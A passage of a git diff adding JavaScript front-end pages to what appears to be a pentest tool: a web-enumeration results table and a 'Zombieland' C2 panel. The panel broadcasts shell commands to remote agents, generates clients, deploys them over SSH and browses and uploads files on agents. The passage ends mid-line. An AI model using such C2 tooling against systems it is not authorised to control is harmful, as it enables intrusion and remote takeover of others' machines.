(row.scan_date || '').substring(0, 10); + if (rowDate !== filterDate) return false; + } + + return true; + }); + + applySort(); + currentPage = 1; + updateStats(); + renderStatusLegend(); + renderTable(); + renderPagination(); +} + +function applySort() { + const dir = sortDirection === 'asc' ? 1 : -1; + const field = sortField; + + filteredData.sort((a, b) => { + let va = a[field]; + let vb = b[field]; + + if (va == null) va = ''; + if (vb == null) vb = ''; + + if (typeof va === 'number' && typeof vb === 'number') { + return (va - vb) * dir; + } + + /* date string comparison */ + if (field === 'scan_date') { + const da = new Date(va).getTime() || 0; + const db = new Date(vb).getTime() || 0; + return (da - db) * dir; + } + + return String(va).localeCompare(String(vb)) * dir; + }); +} + +/* ══════════════════════════════════════════════════════════════ + Stats bar + ══════════════════════════════════════════════════════════════ */ +function updateStats() { + const totalLabel = fetchedLimit + ? `${filteredData.length} (truncated)` + : String(filteredData.length); + setStatVal('we-stat-total', totalLabel); + setStatVal('we-stat-hosts', new Set(filteredData.map(r => r.host || r.ip)).size); + setStatVal('we-stat-success', filteredData.filter(r => r.status >= 200 && r.status < 300).length); + setStatVal('we-stat-errors', filteredData.filter(r => r.status >= 400).length); +} + +function setStatVal(id, val) { + const e = $(`#${id}`); + if (e) e.textContent = String(val); +} + +/* ══════════════════════════════════════════════════════════════ + Status legend chips + ══════════════════════════════════════════════════════════════ */ +function renderStatusLegend() { + const container = $('#we-status-legend'); + if (!container) return; + empty(container); + + /* gather unique status codes from current allData (unfiltered view) */ + const codes = [...new Set(allData.map(r => r.status))].sort((a, b) => a - b); + if (codes.length === 0) return; + + codes.forEach(code => { + const count = allData.filter(r => r.status === code).length; + const isActive = exactStatusFilter === code; + const chip = el('span', { + class: `webenum-status-chip ${statusClass(code)} ${isActive ? 'active' : ''}`, + onclick: () => { + if (exactStatusFilter === code) { + exactStatusFilter = null; + } else { + exactStatusFilter = code; + } + /* clear active class on all chips, re-apply via full filter cycle */ + $$('.webenum-status-chip', container).forEach(c => c.classList.remove('active')); + applyFilters(); + }, + }, [`${code} (${count})`]); + container.appendChild(chip); + }); +} + +/* ══════════════════════════════════════════════════════════════ + Table rendering + ══════════════════════════════════════════════════════════════ */ +function renderTable() { + const wrap = $('#we-table-wrap'); + if (!wrap) return; + empty(wrap); + + if (filteredData.length === 0) { + wrap.appendChild(emptyState('No web enumeration results found')); + return; + } + + /* current page slice */ + const pageData = getPageSlice(); + + /* column definitions */ + const columns = [ + { key: 'host', label: 'Host' }, + { key: 'ip', label: 'IP' }, + { key: 'port', label: 'Port' }, + { key: 'directory', label: 'Directory' }, + { key: 'status', label: 'Status' }, + { key: 'size', label: 'Size' }, + { key: 'scan_date', label: 'Scan Date' }, + { key: '_actions', label: 'Actions' }, + ]; + + /* thead */ + const headerCells = columns.map(col => { + if (col.key === '_actions') { + return el('th', {}, [col.label]); + } + const isSorted = sortField === col.key; + const arrow = isSorted ? (sortDirection === 'asc' ? ' \u25B2' : ' \u25BC') : ''; + return el('th', { + class: `sortable ${isSorted ? 'sort-' + sortDirection : ''}`, + style: 'cursor:pointer;user-select:none;', + onclick: () => onSortColumn(col.key), + }, [col.label + arrow]); + }); + + const thead = el('thead', {}, [el('tr', {}, headerCells)]); + + /* tbody */ + const rows = pageData.map(row => { + const url = buildUrl(row); + return el('tr', { + class: 'webenum-row', + style: 'cursor:pointer;', + onclick: (e) => { + /* ignore if click was on an anchor */ + if (e.target.tagName === 'A') return; + showDetailModal(row); + }, + }, [ + el('td', {}, [row.host || '-']), + el('td', {}, [row.ip || '-']), + el('td', {}, [row.port ? String(row.port) : '-']), + el('td', { class: 'webenum-dir-cell', title: row.directory }, [row.directory || '/']), + el('td', {}, [statusBadge(row.status)]), + el('td', {}, [formatSize(row.size)]), + el('td', {}, [formatDate(row.scan_date)]), + el('td', {}, [ + url + ? el('a', { + href: url, target: '_blank', rel: 'noopener noreferrer', + class: 'webenum-link', title: url, + onclick: (e) => e.stopPropagation(), + }, ['Open']) + : el('span', { class: 'muted' }, ['-']), + ]), + ]); + }); + + const tbody = el('tbody', {}, rows); + const table = el('table', { class: 'webenum-table' }, [thead, tbody]); + wrap.appendChild(el('div', { class: 'table-inner' }, [table])); +} + +function getPageSlice() { + if (itemsPerPage === 0) return filteredData; // All + const start = (currentPage - 1) * itemsPerPage; + return filteredData.slice(start, start + itemsPerPage); +} + +function getTotalPages() { + if (itemsPerPage === 0) return 1; + return Math.max(1, Math.ceil(filteredData.length / itemsPerPage)); +} + +/* ══════════════════════════════════════════════════════════════ + Pagination + ══════════════════════════════════════════════════════════════ */ +function renderPagination() { + const pag = $('#we-pagination'); + if (!pag) return; + empty(pag); + + const total = getTotalPages(); + + /* per-page selector */ + const perPageSel = el('select', { class: 'webenum-filter-select webenum-perpage', onchange: onPerPageChange }, []); + PER_PAGE_OPTIONS.forEach(n => { + const label = n === 0 ? 'All' : String(n); + const opt = el('option', { value: String(n) }, [label]); + if (n === itemsPerPage) opt.selected = true; + perPageSel.appendChild(opt); + }); + pag.appendChild(el('div', { class: 'webenum-perpage-wrap' }, [ + el('span', { class: 'stat-label' }, ['Per page:']), + perPageSel, + ])); + + if (total <= 1 && itemsPerPage !== 0) { + pag.appendChild(el('span', { class: 'vuln-page-info' }, [ + `${filteredData.length} result${filteredData.length !== 1 ? 's' : ''}`, + ])); + return; + } + + if (itemsPerPage === 0) { + pag.appendChild(el('span', { class: 'vuln-page-info' }, [ + `Showing all ${filteredData.length} result${filteredData.length !== 1 ? 's' : ''}`, + ])); + return; + } + + /* Prev */ + pag.appendChild(pageBtn('Prev', currentPage > 1, () => changePage(currentPage - 1))); + + /* numbered buttons */ + const start = Math.max(1, currentPage - 2); + const end = Math.min(total, start + 4); + for (let i = start; i <= end; i++) { + pag.appendChild(pageBtn(String(i), true, () => changePage(i), i === currentPage)); + } + + /* Next */ + pag.appendChild(pageBtn('Next', currentPage < total, () => changePage(currentPage + 1))); + + /* info */ + pag.appendChild(el('span', { class: 'vuln-page-info' }, [ + `Page ${currentPage} of ${total} (${filteredData.length} results)`, + ])); +} + +function pageBtn(label, enabled, onclick, active = false) { + return el('button', { + class: `vuln-page-btn ${active ? 'active' : ''} ${!enabled ? 'disabled' : ''}`, + onclick: enabled ? onclick : null, + disabled: !enabled, + }, [label]); +} + +function changePage(p) { + const total = getTotalPages(); + currentPage = Math.max(1, Math.min(total, p)); + renderTable(); + renderPagination(); + const wrap = $('#we-table-wrap'); + if (wrap) wrap.scrollTop = 0; +} + +function onPerPageChange(e) { + itemsPerPage = parseInt(e.target.value, 10); + currentPage = 1; + renderTable(); + renderPagination(); +} + +/* ══════════════════════════════════════════════════════════════ + Sort handler + ══════════════════════════════════════════════════════════════ */ +function onSortColumn(key) { + if (sortField === key) { + sortDirection = sortDirection === 'asc' ? 'desc' : 'asc'; + } else { + sortField = key; + sortDirection = 'asc'; + } + applySort(); + renderTable(); + renderPagination(); +} + +/* ══════════════════════════════════════════════════════════════ + Filter handlers + ══════════════════════════════════════════════════════════════ */ +function onSearchInput(e) { + if (searchDebounceId != null) clearTimeout(searchDebounceId); + const val = e.target.value; + searchDebounceId = tracker + ? tracker.trackTimeout(() => { + searchText = val; + applyFilters(); + const btn = e.target.nextElementSibling; + if (btn) btn.classList.toggle('show', val.length > 0); + }, 300) + : setTimeout(() => { + searchText = val; + applyFilters(); + }, 300); +} + +function clearSearch() { + const inp = $('#we-search'); + if (inp) inp.value = ''; + searchText = ''; + applyFilters(); + const btn = inp ? inp.nextElementSibling : null; + if (btn) btn.classList.remove('show'); +} + +function onHostFilter(e) { + filterHost = e.target.value; + applyFilters(); +} + +function onStatusFamilyFilter(e) { + filterStatusFamily = e.target.value; + /* clear exact chip filter when dropdown changes */ + exactStatusFilter = null; + applyFilters(); +} + +function onPortFilter(e) { + filterPort = e.target.value; + applyFilters(); +} + +function onDateFilter(e) { + filterDate = e.target.value || ''; + applyFilters(); +} + +/* ══════════════════════════════════════════════════════════════ + Detail modal + ══════════════════════════════════════════════════════════════ */ +function showDetailModal(row) { + const modal = $('#we-modal'); + const title = $('#we-modal-title'); + const body = $('#we-modal-body'); + if (!modal || !title || !body) return; + + const url = buildUrl(row); + + title.textContent = `${row.host || row.ip}${row.directory || '/'}`; + empty(body); + + const fields = [ + ['Host', row.host], + ['IP', row.ip], + ['MAC', row.mac], + ['Port', row.port], + ['Directory', row.directory], + ['Status', row.status], + ['Size', formatSize(row.size)], + ['Content-Type', row.content_type], + ['Response Time', row.response_time ? row.response_time + ' ms' : '-'], + ['Scan Date', formatDate(row.scan_date)], + ['URL', url || 'N/A'], + ]; + + fields.forEach(([label, value]) => { + body.appendChild(el('div', { class: 'modal-detail-section' }, [ + el('div', { class: 'modal-section-title' }, [label]), + el('div', { class: 'modal-section-text' }, [ + label === 'Status' + ? statusBadge(value) + : String(value != null ? value : '-'), + ]), + ])); + }); + + /* action buttons */ + const actions = el('div', { class: 'webenum-modal-actions' }, []); + + if (url) { + actions.appendChild(el('button', { class: 'vuln-btn', onclick: () => { + window.open(url, '_blank', 'noopener,noreferrer'); + }}, ['Open URL'])); + + actions.appendChild(el('button', { class: 'vuln-btn', onclick: () => { + copyText(url); + }}, ['Copy URL'])); + } + + actions.appendChild(el('button', { class: 'vuln-btn', onclick: () => exportSingleResult(row, 'json') }, ['Export JSON'])); + actions.appendChild(el('button', { class: 'vuln-btn', onclick: () => exportSingleResult(row, 'csv') }, ['Export CSV'])); + + body.appendChild(actions); + modal.classList.add('show'); +} + +function closeModal() { + const modal = $('#we-modal'); + if (modal) modal.classList.remove('show'); +} + +function onModalBackdrop(e) { + if (e.target.classList.contains('vuln-modal')) closeModal(); +} + +/* ══════════════════════════════════════════════════════════════ + Export — JSON & CSV + ══════════════════════════════════════════════════════════════ */ +function exportData(format) { + const data = filteredData.length > 0 ? filteredData : allData; + if (data.length === 0) return; + + const dateStr = new Date().toISOString().split('T')[0]; + + if (format === 'json') { + const json = JSON.stringify(data, null, 2); + downloadBlob(json, `webenum_results_${dateStr}.json`, 'application/json'); + } else { + const csv = buildCSV(data); + downloadBlob(csv, `webenum_results_${dateStr}.csv`, 'text/csv'); + } +} + +function exportSingleResult(row, format) { + const dateStr = new Date().toISOString().split('T')[0]; + if (format === 'json') { + downloadBlob(JSON.stringify(row, null, 2), `webenum_${row.host}_${dateStr}.json`, 'application/json'); + } else { + downloadBlob(buildCSV([row]), `webenum_${row.host}_${dateStr}.csv`, 'text/csv'); + } +} + +function buildCSV(data) { + const headers = ['Host', 'IP', 'MAC', 'Port', 'Directory', 'Status', 'Size', 'Content-Type', 'Response Time', 'Scan Date', 'URL']; + const rows = [headers.join(',')]; + data.forEach(r => { + const url = buildUrl(r) || ''; + const values = [ + r.host, r.ip, r.mac, r.port, r.directory, r.status, + r.size, r.content_type, r.response_time, r.scan_date, url, + ].map(v => { + const s = String(v != null ? v : ''); + return s.includes(',') || s.includes('"') || s.includes('\n') + ? `"${s.replace(/"/g, '""')}"` : s; + }); + rows.push(values.join(',')); + }); + return rows.join('\n'); +} + +function downloadBlob(content, filename, type) { + const blob = new Blob([content], { type }); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = filename; + document.body.appendChild(a); + a.click(); + document.body.removeChild(a); + URL.revokeObjectURL(url); +} + +/* ══════════════════════════════════════════════════════════════ + Helpers + ══════════════════════════════════════════════════════════════ */ + +/** Status family string: '2xx', '3xx', '4xx', '5xx' */ +function statusFamily(code) { + code = Number(code) || 0; + if (code >= 200 && code < 300) return '2xx'; + if (code >= 300 && code < 400) return '3xx'; + if (code >= 400 && code < 500) return '4xx'; + if (code >= 500) return '5xx'; + return ''; +} + +/** CSS class for status code */ +function statusClass(code) { + code = Number(code) || 0; + if (code >= 200 && code < 300) return 'status-2xx'; + if (code >= 300 && code < 400) return 'status-3xx'; + if (code >= 400 && code < 500) return 'status-4xx'; + if (code >= 500) return 'status-5xx'; + return ''; +} + +/** Status badge element */ +function statusBadge(code) { + return el('span', { class: `webenum-status-badge ${statusClass(code)}` }, [String(code)]); +} + +/** Build full URL from row data */ +function buildUrl(row) { + if (!row.host && !row.ip) return ''; + const hostname = row.host || row.ip; + const port = Number(row.port) || 80; + const proto = port === 443 ? 'https' : 'http'; + const portPart = (port === 80 || port === 443) ? '' : `:${port}`; + const dir = row.directory || '/'; + return `${proto}://${hostname}${portPart}${dir}`; +} + +/** Format byte size to human-readable */ +function formatSize(bytes) { + bytes = Number(bytes) || 0; + if (bytes === 0) return '0 B'; + if (bytes < 1024) return bytes + ' B'; + if (bytes < 1024 * 1024) return (bytes / 1024).toFixed(1) + ' KB'; + return (bytes / (1024 * 1024)).toFixed(2) + ' MB'; +} + +/** Format date string */ +function formatDate(d) { + if (!d) return '-'; + try { + const date = new Date(d); + if (isNaN(date.getTime())) return String(d); + return date.toLocaleDateString(); + } catch { + return String(d); + } +} + +/** Empty state */ +function emptyState(msg) { + return el('div', { style: 'text-align:center;color:var(--ink);opacity:.5;padding:40px' }, [ + el('div', { style: 'font-size:3rem;margin-bottom:16px;opacity:.5' }, ['\uD83D\uDD0D']), + msg, + ]); +} + +/** Copy text to clipboard */ +function copyText(text) { + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(text).catch(() => fallbackCopy(text)); + } else { + fallbackCopy(text); + } +} + +function fallbackCopy(text) { + const ta = document.createElement('textarea'); + ta.value = text; + ta.style.position = 'fixed'; + ta.style.opacity = '0'; + document.body.appendChild(ta); + ta.select(); + try { document.execCommand('copy'); } catch { /* noop */ } + document.body.removeChild(ta); +} diff --git a/web/js/pages/zombieland.js b/web/js/pages/zombieland.js new file mode 100644 index 0000000..3407805 --- /dev/null +++ b/web/js/pages/zombieland.js @@ -0,0 +1,762 @@ +/** + * Zombieland page module — C2 (Command & Control) agent management. + * Uses Server-Sent Events (SSE) via /c2/events for real-time updates. + * The EventSource connection is closed in unmount() to prevent leaks. + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, empty, toast } from '../core/dom.js'; +import { t } from '../core/i18n.js'; +import { initSharedSidebarLayout } from '../core/sidebar-layout.js'; + +const PAGE = 'zombieland'; +const L = (key, fallback, vars = {}) => { + const v = t(key, vars); + return v === key ? fallback : v; +}; + +/* ——— Presence thresholds (ms) ——— */ +const PRESENCE = { GRACE: 30000, WARN: 60000, ORANGE: 100000, RED: 160000 }; + +/* ——— ECG waveform paths ——— */ +const ECG_PQRST = 'M0,21 L15,21 L18,19 L20,21 L30,21 L32,23 L34,21 L40,21 L42,12 L44,30 L46,8 L48,35 L50,21 L60,21 L65,21 L70,19 L72,21 L85,21 L90,21 L100,21 L110,21 L115,19 L118,21 L130,21 L132,23 L134,21 L140,21 L142,12 L144,30 L146,8 L148,35 L150,21 L160,21 L170,21 L180,21 L190,21 L200,21'; +const ECG_FLAT = 'M0,21 L200,21'; + +/* ——— State ——— */ +let tracker = null; +let poller = null; +let disposeSidebarLayout = null; +let eventSource = null; +let agents = new Map(); // id -> agent object +let selectedAgents = new Set(); +let searchTerm = ''; +let c2Running = false; +let c2Port = null; +let sseHealthy = false; +let commandHistory = []; +let historyIndex = -1; + +function loadStylesheet(path, id) { + const link = el('link', { + rel: 'stylesheet', + href: path, + id: `style-${id}` + }); + document.head.appendChild(link); + return () => { + const styleElement = document.getElementById(`style-${id}`); + if (styleElement) { + styleElement.remove(); + } + }; +} + +/* ================================================================ + * Lifecycle + * ================================================================ */ + +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + + // Load page-specific styles and track them for cleanup + const unloadStyles = loadStylesheet('/web/css/zombieland.css', PAGE); + tracker.trackResource(unloadStyles); + + agents.clear(); + selectedAgents.clear(); + searchTerm = ''; + c2Running = false; + c2Port = null; + sseHealthy = false; + commandHistory = []; + historyIndex = -1; + + const shell = buildShell(); + container.appendChild(shell); + container.appendChild(buildGenerateClientModal()); + container.appendChild(buildFileBrowserModal()); + + disposeSidebarLayout = initSharedSidebarLayout(shell, { + sidebarSelector: '.zl-sidebar', + mainSelector: '.zl-main', + storageKey: 'sidebar:zombieland', + mobileBreakpoint: 900, + toggleLabel: t('common.menu') || 'Menu', + }); + await refreshState(); + syncSearchClearButton(); + connectSSE(); + + poller = new Poller(refreshState, 10000, { immediate: false }); + poller.start(); + tracker.trackInterval(tickPresence, 1000); +} + +export function unmount() { + if (disposeSidebarLayout) { try { disposeSidebarLayout(); } catch { } disposeSidebarLayout = null; } + if (eventSource) { eventSource.close(); eventSource = null; } + sseHealthy = false; + if (poller) { poller.stop(); poller = null; } + if (tracker) { tracker.cleanupAll(); tracker = null; } + agents.clear(); + selectedAgents.clear(); + searchTerm = ''; + commandHistory = []; + historyIndex = -1; +} + +/* ================================================================ + * Shell & Modals + * ================================================================ */ + +function buildShell() { + return el('div', { class: 'zombieland-container page-with-sidebar' }, [ + el('aside', { class: 'zl-sidebar page-sidebar' }, [ + el('div', { class: 'sidehead' }, [ + el('div', { class: 'sidetitle' }, [t('nav.zombieland') || 'Zombieland']), + el('div', { class: 'spacer' }), + el('button', { class: 'btn', id: 'hideSidebar', 'data-hide-sidebar': '1', type: 'button' }, [t('common.hide') || 'Hide']), + ]), + el('div', { class: 'sidecontent' }, [ + el('div', { class: 'zl-stats-grid' }, [ + statItem('zl-stat-total', L('zombieland.totalAgents', 'Total')), + statItem('zl-stat-alive', L('zombieland.alive', 'Online')), + statItem('zl-stat-avg-cpu', 'Avg CPU'), + statItem('zl-stat-avg-ram', 'Avg RAM'), + statItem('zl-stat-c2', L('zombieland.c2Status', 'C2 Port')), + ]), + el('div', { class: 'zl-toolbar' }, [ + el('button', { class: 'btn btn-icon', onclick: onRefresh, title: t('common.refresh') }, [el('i', { 'data-lucide': 'refresh-cw' })]), + el('button', { class: 'btn', onclick: onGenerateClient }, [el('i', { 'data-lucide': 'plus-circle' }), ' ' + t('zombie.generateClient')]), + el('button', { class: 'btn btn-primary', onclick: onStartC2 }, [el('i', { 'data-lucide': 'play' }), ' ' + t('zombie.startC2')]), + el('button', { class: 'btn btn-danger', onclick: onStopC2 }, [el('i', { 'data-lucide': 'square' }), ' ' + t('zombie.stopC2')]), + el('button', { class: 'btn', onclick: onCheckStale }, [el('i', { 'data-lucide': 'search' }), ' ' + t('zombie.checkStale')]), + el('button', { class: 'btn btn-danger', onclick: onPurgeStale, title: t('zombie.purgeStaleHint') }, [el('i', { 'data-lucide': 'trash-2' }), ' ' + t('zombie.purgeStale')]), + ]), + ]), + ]), + el('div', { class: 'zl-main page-main' }, [ + el('div', { class: 'zl-main-grid' }, [ + el('div', { class: 'zl-console-panel' }, [ + el('div', { class: 'zl-panel-header' }, [ + el('span', { class: 'zl-panel-title' }, [t('console.title')]), + el('div', { class: 'zl-quickbar' }, [ + quickCmd('sysinfo'), quickCmd('pwd'), quickCmd('ls -la'), quickCmd('ps aux'), quickCmd('ip a'), + ]), + el('button', { class: 'btn btn-sm btn-icon', onclick: clearConsole, title: t('zombie.clearConsole') }, [el('i', { 'data-lucide': 'trash-2' })]), + ]), + el('div', { class: 'zl-console-output', id: 'zl-console-output' }), + el('div', { class: 'zl-console-input-row' }, [ + el('select', { class: 'zl-target-select', id: 'zl-target-select' }, [ + el('option', { value: 'broadcast' }, [t('zombie.allAgents')]), + el('option', { value: 'selected' }, [t('zombie.selectedAgents')]), + ]), + el('input', { type: 'text', class: 'zl-cmd-input', id: 'zl-cmd-input', placeholder: t('zombie.enterCommand'), onkeydown: onCmdKeyDown }), + el('button', { class: 'btn btn-primary', onclick: onSendCommand }, [el('i', { 'data-lucide': 'send' }), ' ' + t('common.send')]), + ]), + ]), + el('div', { class: 'zl-agents-panel' }, [ + el('div', { class: 'zl-panel-header' }, [ + el('span', { class: 'zl-panel-title' }, [t('zombie.agents'), ' (', el('span', { id: 'zl-agent-count' }, ['0']), ')']), + el('div', { class: 'zl-toolbar-left' }, [ + el('input', { type: 'text', class: 'zl-search-input', id: 'zl-search', placeholder: t('zombie.fileBrowser'), oninput: onSearch }), + el('button', { class: 'zl-search-clear', onclick: clearSearch }, [el('i', { 'data-lucide': 'x' })]), + ]), + el('button', { class: 'btn btn-sm btn-icon', onclick: onSelectAll, title: t('zombie.selectAll') }, [el('i', { 'data-lucide': 'check-square' })]), + el('button', { class: 'btn btn-sm btn-icon', onclick: onDeselectAll, title: t('zombie.deselectAll') }, [el('i', { 'data-lucide': 'square' })]), + ]), + el('div', { class: 'zl-agents-list', id: 'zl-agents-list', onclick: onAgentListClick }), + ]), + ]), + el('div', { class: 'zl-logs-panel' }, [ + el('div', { class: 'zl-panel-header' }, [ + el('span', { class: 'zl-panel-title' }, [el('i', { 'data-lucide': 'file-text' }), ' ' + t('zombie.systemLogs')]), + el('button', { class: 'btn btn-sm btn-icon', onclick: clearLogs, title: t('zombie.clearLogs') }, [el('i', { 'data-lucide': 'trash-2' })]), + ]), + el('div', { class: 'zl-logs-output', id: 'zl-logs-output' }), + ]), + ]), + ]); +} + +function statItem(id, label) { + return el('div', { class: 'stat-item' }, [ + el('span', { class: 'stat-value', id }, ['0']), + el('span', { class: 'stat-label' }, [label]), + ]); +} + +function quickCmd(cmd) { + return el('button', { + class: 'quick-cmd', onclick: () => { + const input = $('#zl-cmd-input'); + if (input) { input.value = cmd; input.focus(); } + } + }, [cmd]); +} + +function buildGenerateClientModal() { + return el('div', { id: 'generateModal', class: 'modal', style: 'display:none;' }, [ + el('div', { class: 'modal-content' }, [ + el('h3', { class: 'modal-title' }, [t('zombie.generateClient')]), + el('div', { class: 'form-grid' }, [ + el('label', {}, [t('zombie.clientId')]), + el('input', { id: 'clientId', type: 'text', class: 'input', placeholder: 'zombie01' }), + el('label', {}, [t('common.platform')]), + el('select', { id: 'clientPlatform', class: 'select' }, [ + el('option', { value: 'linux' }, ['Linux']), + el('option', { value: 'windows' }, ['Windows']), + el('option', { value: 'macos' }, ['macOS']), + el('option', { value: 'universal' }, ['Universal (Python)']), + ]), + el('label', {}, [t('zombie.labCreds')]), + el('div', { class: 'grid-col-2' }, [ + el('input', { id: 'labUser', type: 'text', class: 'input', placeholder: t('common.username') }), + el('input', { id: 'labPass', type: 'password', class: 'input', placeholder: t('common.password') }), + ]), + ]), + el('div', { class: 'deploy-options' }, [ + el('h4', {}, [t('zombie.deployOptions')]), + el('label', { class: 'checkbox-label' }, [ + el('input', { type: 'checkbox', id: 'deploySSH', onchange: (e) => { $('#sshOptions').classList.toggle('hidden', !e.target.checked); } }), + el('span', {}, [t('zombie.deployViaSSH')]), + ]), + el('div', { id: 'sshOptions', class: 'hidden form-grid' }, [ + el('label', {}, ['SSH Host']), el('input', { id: 'sshHost', type: 'text', class: 'input' }), + el('label', {}, ['SSH User']), el('input', { id: 'sshUser', type: 'text', class: 'input' }), + el('label', {}, ['SSH Pass']), el('input', { id: 'sshPass', type: 'password', class: 'input' }), + ]), + ]), + el('div', { class: 'modal-actions' }, [ + el('button', { class: 'btn', onclick: () => $('#generateModal').style.display = 'none' }, [t('common.cancel')]), + el('button', { class: 'btn btn-primary', onclick: onConfirmGenerate }, [t('common.generate')]), + ]), + ]), + ]); +} + +function buildFileBrowserModal() { + return el('div', { id: 'fileBrowserModal', class: 'modal', style: 'display:none;' }, [ + el('div', { class: 'modal-content' }, [ + el('h3', { class: 'modal-title' }, [t('zombie.fileBrowser'), ' - ', el('span', { id: 'browserAgent' })]), + el('div', { class: 'file-browser-nav' }, [ + el('input', { id: 'browserPath', type: 'text', class: 'input flex-grow' }), + el('button', { class: 'btn', onclick: browseDirectory }, [t('common.browse')]), + el('button', { class: 'btn', onclick: onUploadFile }, [t('common.upload')]), + ]), + el('div', { id: 'fileList', class: 'file-list' }), + el('div', { class: 'modal-actions' }, [ + el('button', { class: 'btn', onclick: () => $('#fileBrowserModal').style.display = 'none' }, [t('common.close')]), + ]), + ]), + ]); +} + +/* ================================================================ + * Data fetching & SSE + * ================================================================ */ + +async function refreshState() { + try { + if (sseHealthy && eventSource && eventSource.readyState === EventSource.OPEN) return; + const [status, agentList] = await Promise.all([ + api.get('/c2/status').catch(() => null), + api.get('/c2/agents').catch(() => null), + ]); + if (status) { c2Running = !!status.running; c2Port = status.port || null; } + if (Array.isArray(agentList)) { + for (const a of agentList) { + const id = a.id || a.agent_id || a.client_id; + if (!id) continue; + const existing = agents.get(id) || {}; + const merged = { ...existing, ...a, id, last_seen: maxTimestamp(existing.last_seen, a.last_seen) }; + agents.set(id, merged); + } + } + renderAgents(); + updateStats(); + } catch (err) { console.warn(`[${PAGE}] refreshState error:`, err.message); } +} + +function connectSSE() { + if (eventSource) eventSource.close(); + eventSource = new EventSource('/c2/events'); + eventSource.onopen = () => { sseHealthy = true; systemLog('info', 'Connected to C2 event stream'); }; + eventSource.onerror = () => { sseHealthy = false; systemLog('error', 'C2 event stream connection lost'); }; + eventSource.addEventListener('status', (e) => { + try { const data = JSON.parse(e.data); c2Running = !!data.running; c2Port = data.port || null; updateStats(); } catch { } + }); + eventSource.addEventListener('telemetry', (e) => { + try { + const data = JSON.parse(e.data); + const id = data.id || data.agent_id; if (!id) return; + const now = Date.now(); + const existing = agents.get(id) || {}; + const agent = { ...existing, ...data, id, last_seen: now }; + agents.set(id, agent); + if (computePresence(existing, now).status !== computePresence(agent, now).status) { + systemLog('success', `Agent ${agent.hostname || id} telemetry received.`); + } + const card = $('[data-agent-id="' + id + '"]'); + if (card) { card.classList.add('pulse'); tracker.trackTimeout(() => card.classList.remove('pulse'), 600); } + renderAgents(); + updateStats(); + } catch { } + }); + eventSource.addEventListener('log', (e) => { try { const d = JSON.parse(e.data); systemLog(d.level || 'info', d.text || ''); } catch { } }); + eventSource.addEventListener('console', (e) => { try { const d = JSON.parse(e.data); consoleLog(d.kind || 'RX', d.text || '', d.target || null); } catch { } }); +} + +/* ================================================================ + * Presence, Ticking, and Rendering + * ================================================================ */ + +function computePresence(agent, now) { + if (!agent || !agent.last_seen) return { status: 'offline', delta: null, color: 'red', bpm: 0 }; + const last = parseTs(agent.last_seen); + if (isNaN(last)) return { status: 'offline', delta: null, color: 'red', bpm: 0 }; + const delta = now - last; + if (delta < PRESENCE.GRACE) return { status: 'online', delta, color: 'green', bpm: 55 }; + if (delta < PRESENCE.WARN) return { status: 'online', delta, color: 'green', bpm: 40 }; + if (delta < PRESENCE.ORANGE) return { status: 'idle', delta, color: 'yellow', bpm: 22 }; + if (delta < PRESENCE.RED) return { status: 'idle', delta, color: 'orange', bpm: 12 }; + return { status: 'offline', delta, color: 'red', bpm: 0 }; +} + +function tickPresence() { + const now = Date.now(); + document.querySelectorAll('.zl-agent-card').forEach(card => { + const agentId = card.dataset.agentId; + const agent = agents.get(agentId); + if (!agent) return; + const pres = computePresence(agent, now); + const counter = $('#zl-ecg-counter-' + agentId); + if (counter) counter.textContent = pres.delta != null ? Math.floor(pres.delta / 1000) + 's' : '--'; + const ecgEl = $('#zl-ecg-' + agentId); + if (ecgEl) { + ecgEl.className = `ecg ${pres.color} ${pres.bpm === 0 ? 'flat' : ''}`; + const wrapper = ecgEl.querySelector('.ecg-wrapper'); + if (wrapper) wrapper.style.animationDuration = `${pres.bpm > 0 ? 72 / pres.bpm : 3.2}s`; + } + const pill = card.querySelector('.zl-pill'); + if (pill) { pill.className = `zl-pill ${pres.status}`; pill.textContent = pres.status; } + card.classList.toggle('agent-stale-yellow', pres.status === 'idle' && pres.color === 'yellow'); + card.classList.toggle('agent-stale-orange', pres.status === 'idle' && pres.color === 'orange'); + card.classList.toggle('agent-stale-red', pres.status === 'offline'); + }); + updateStats(); +} + +function renderAgents() { + const list = $('#zl-agents-list'); + if (!list) return; + const now = Date.now(); + const needle = searchTerm.toLowerCase(); + const deduped = dedupeAgents(Array.from(agents.values())); + const filtered = deduped.filter(a => !needle || [a.id, a.hostname, a.ip, a.os, a.mac].filter(Boolean).join(' ').toLowerCase().includes(needle)); + filtered.sort((a, b) => { + const pa = computePresence(a, now), pb = computePresence(b, now); + const rank = { online: 0, idle: 1, offline: 2 }; + if (rank[pa.status] !== rank[pb.status]) return rank[pa.status] - rank[pb.status]; + return (a.hostname || a.id || '').localeCompare(b.hostname || b.id || ''); + }); + empty(list); + if (filtered.length === 0) { + list.appendChild(el('div', { class: 'zl-empty' }, [searchTerm ? t('zombie.noAgentsMatchSearch') : t('zombie.noAgentsConnected')])); + } else { + filtered.forEach(agent => list.appendChild(createAgentCard(agent, now))); + } + updateTargetSelect(); + const countEl = $('#zl-agent-count'); + if (countEl) { + const onlineCount = filtered.filter(a => computePresence(a, now).status === 'online').length; + countEl.textContent = `${onlineCount}/${filtered.length}`; + } + if (window.lucide) window.lucide.createIcons(); +} + +function createAgentCard(agent, now) { + const id = agent.id; + const pres = computePresence(agent, now); + let staleClass = pres.status === 'idle' ? ` agent-stale-${pres.color}` : (pres.status === 'offline' ? ' agent-stale-red' : ''); + const isSelected = selectedAgents.has(id); + + return el('div', { class: `zl-agent-card ${isSelected ? 'selected' : ''}${staleClass}`, 'data-agent-id': id }, [ + el('div', { class: 'zl-card-header' }, [ + el('input', { type: 'checkbox', class: 'agent-checkbox', checked: isSelected, 'data-agent-id': id }), + el('div', { class: 'zl-card-identity' }, [ + el('div', { class: 'zl-card-hostname' }, [agent.hostname || 'Unknown']), + el('div', { class: 'zl-card-id' }, [id]), + ]), + el('span', { class: 'zl-pill ' + pres.status }, [pres.status]), + ]), + el('div', { class: 'zl-card-info' }, [ + infoRow(t('common.os'), agent.os || 'Unknown'), + infoRow(t('common.ip'), agent.ip || 'N/A'), + infoRow('CPU/RAM', `${agent.cpu || 0}% / ${agent.mem || 0}%`), + ]), + el('div', { class: 'zl-ecg-row' }, [ + createECG(id, pres.color, pres.bpm), + el('span', { class: 'zl-ecg-counter', id: 